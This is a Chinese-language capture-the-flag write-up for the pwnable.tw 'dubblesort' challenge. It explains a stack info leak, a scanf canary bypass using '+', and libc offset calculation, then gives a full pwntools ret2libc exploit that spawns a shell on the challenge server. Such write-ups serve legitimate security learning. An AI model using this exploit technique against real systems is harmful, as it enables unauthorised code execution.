Contents
  1. 1. dubblesort
    1. 1.1. 分析
    2. 1.2. exp

dubblesort

分析

保护全开,运行一下就会发现存在泄露

看着ida代码似乎没什么问题,但是printf打印信息是通过\x00截断的,而name是通过read读取的,read通过输入字符的回车就截断了,如果这个回车后面不是00,printf就会一起打印出来,不过name只能输入0x40大小,还没有到达canary的值,但是可能会存在栈信息,这个后面再分析。

整个程序就是输入数字进行排序,没有限制输入的多少,但是空间是有限的,可以造成溢出

1.首先考虑如何绕过canary,canary的位置有点儿尴尬,所以要思考可不可以通过溢出 不改变canary。

如果输入非法字符,输入流不清空,非法字符一直会一直留在stdin,这样剩下的scanf读入的都是非法字符,pass。

所以可以通过输入+-,因为这两个符号可以定义正负数,如果输入数字替换成这两个数字,读入只会视为无效而不是非法,canary不会被修改。

2.通过name处的漏洞泄露libc

vmmap查看libc基址

我们输入测试数据

1
2
3
4
5
 ECX  0xffffcfec ◂— 'KKKK\n'
pwndbg> x/10wx 0xffffcfec
0xffffcfec: 0x4b4b4b4b 0x0000000a 0xffffd2ad 0xf7e0c4a9
0xffffcffc: 0xf7fb7748 0xf7fb4000 0xf7fb4000 0x00000000
0xffffd00c: 0x56555601 0x565557a9

在&name+12处的0xf7e0c4a9是libc处的地址,0xf7e0c4a9-0xf7ddc000=0x304A9,就是泄露地址和libc基址的偏移了(但是这只是本地测试结果,并不能用于远程)

还可以有其他思路,比如

0xf7fb4000-0xf7ddc000=0x1d8000,也就是.got.plt相对于libc的偏移

所以我们可以利用给定的libc来查找.got.plt偏移等等…

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./dubblesort"
ip = "chall.pwnable.tw"
port = 10101
elf = ELF(binary)

# offset = 0x304A9
offset = 0x1b0000

def number(num):
io.sendlineafter(": ", str(num))

def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# gdb.attach(io)
else:
io = remote(ip, port)
libc = ELF("libc_32.so.6")

io.recvuntil(" :")
'''
io.send('k'*12)
io.recvuntil('k'*12)
libc_base = u32(io.recv(4)) - offset
'''
io.sendline('k'*0x18)
io.recvuntil('\x0a')
libc_base = u32(io.recv(3).rjust(4, '\x00')) - offset

print "libc_base = "+hex(libc_base)
sys_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()

io.recvuntil(" :")
io.sendline(str(0x18+1+9+1))
for i in range(0x18):
number(1)

number('+') # canary

for i in range(9):
number(sys_addr)

number(binsh_addr)

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)

参考:https://www.freebuf.com/articles/others-articles/134271.html